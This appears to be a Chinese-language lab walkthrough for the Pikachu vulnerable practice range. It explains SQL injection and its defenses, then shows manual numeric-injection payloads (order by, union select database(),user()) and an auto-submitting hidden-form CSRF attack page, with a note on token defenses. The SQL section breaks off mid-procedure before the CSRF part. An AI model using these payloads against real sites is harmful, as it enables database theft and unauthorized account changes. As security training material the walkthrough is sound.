pikachu靶场实战之SQL注入漏洞（4）

SQL漏洞概述

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

常见的SQL注入根据注入方式可分为：

盲注
Error 报错注入
Time 时间盲住
Union 注入
内联查询注入
拼接（堆）查询注入

1.漏洞产生的原因

SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。

2.如何检测SQL注入的存在

因为SQL注入常发生于用户和服务交互处（增删改查操作）,AJAX,API接口等等,可以重点检测这些地方有无SQL注入漏洞。

白盒测试：
1）关键词匹配，找到SQL语句后看调用方式，变量值得传递以及是否有安全校验；
2）框架和代码结构查看，看代码对请求进行路由和分发的方式，路由分发方式的设计和实现是否存在隐患；
3）了解业务实现的方式以及设计的思路。

黑盒测试：
构建特殊的SQL注入语句在用户的输入点进行手工注入，或者直接用自动化注入工具如sqlmap。

3.SQL注入的利用条件，影响以及危害

利用条件比较低，危害较大，例如数据库被拖库,管理员和重要人员信息泄露,甚至还能通过SQL注入漏洞直接获取webshell或者执行命令导致服务器系统权限被获取等等。

4.SQL注入如何防范以及修复

在构建代码时，一般会从如下几个方面的策略来防止SQL注入漏洞：
1.对传进SQL语句里面的变量进行过滤，不允许危险字符传入；
2.使用参数化（Parameterized Query 或 Parameterized Statement）；
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!
在日常的监控时，一般采用日志监控+WAF的形式（统一的filter），部署防SQL注入的系统等。

0x01 数字型注入(post)

sql手工注入常规的流程如下，具体的可参考这篇《sql注入——手工注入》 https://anchorety.github.io/2020/01/18/sql%E6%B3%A8%E5%85%A5%E2%80%94%E2%80%94%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5/：，里面详细的说明了SQL手工注入的各个步骤：
1.注入点测试；
注入点测试主要分为是否存在sql注入检测与sql注入类型检测两个部分。
2.当前表列数测试；
3.测试当前表哪些列有回显；
4.查询数据库名称；

sql表
5.数据库表名获取；
6.字段获取；
7.读取关键字段；

下面以数字型注入为例简单说明下以上的几个步骤。

第一步是注入点测试：

sqlpost

依旧是burp抓包，改包，传入个id=2'看看，报错了,证明这里可能有SQL注入，数字型注入的话可以通过1 and 1=1未报错，以及1 and 1=2来判断。

sql001
页面运行正常，继续下一步。

sql002

页面报错，很明显，这是个数字型注入。

如果当前注入点类型为数字型，

当输入 and 1=1时，后台执行 Sql 语句：select * from <表名> where id = x and 1=1,没有语法错误且逻辑判断为正确，所以返回正常。

当输入 and 1=2时，后台执行 Sql 语句：select * from <表名> where id = x and 1=2,没有语法错误但是逻辑判断为假，所以返回错误。

而如果该注入点类型为字符型，

当输入and 1=1和 and 1=2时，后台执行sql语句：select * from <表名> where id=’x and 1=1’和 select * from <表名> where id=’x and 1=1,将and语句作为字符进行id匹配，应该都没有查询结果，与事实不符因此该注入点为数字型注入点。

第二步是当前表列数测试：

注入的语句是id=1 order by 1，从1依次往后，直到出现运行错误。到3就报错了，说明只有两列。

sql003

第三步是测试当前表哪些列有回显；

测试的语句是id=1 union select 1,2,上面测试有几列就写到几列，通过回显可以看到这两列都能回显。

sqlunion

第四步是查询数据库名称；

既然已经知道了显示位，那么将常用的函数代入查询即可。查询语句是id=1 union select database(),user()，可以看到数据库名称是 pikachu 。

sql004

第五步是数据库表名获取：

0x02 CSRF（post类型）

post请求不同于get，它将要修改的信息都放在请求体中，我们就没法通过伪造URL的方式来进行攻击。

那么，常用的攻击手法就是搭建一个有表单提交功能的服务器，然后诱导用户去点击。

用户服务器是：192.168.0.106

攻击服务器是：192.168.0.121

攻击服务器的页面源码如图，post.html.

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://192.168.0.106/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="12345678922" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="xiannv@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
	            <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html>

只要诱导用户点击http://192.168.0.121/post.html这个链接即可。

0x03 CSRF token

继续登录抓包，发现这次的请求参数里面带上了token。

csrf004

token的话，指的是每次请求，都增加一个随机码（需要够随机，不容易被伪造），后台每次对这个随机码进行验证。这个随机码就是Token。

我们查看修改页面的源码就会服务器返回的修改的源码发现有一个隐藏的属性token。

csrf005

而在token_get_edit文件中，我们也能看到，修改后服务端会自动生成token。

csrf006

按照前面csrf get的方法，攻击者会伪造一个GET URL去让用户点击。但用户正常提供GET请求时，会把服务器返回的token填入和提交，而攻击者伪造URL时除非前期抓包获取到这个返回的token，否则他是不会知道这个token的。所以攻击者无法构造GET URL。同理，对于POST方法也是一样。

对于CSRF漏洞来说，token是个很好的防御手段。

当然对于这关来说，我们可以用到burp的一个插件“CSRF Token Tracker”来过关，直接Extender里面搜索安装即可。

在CSRF Token Tracker页面做好基础的配置，包括host以及name。

csrf009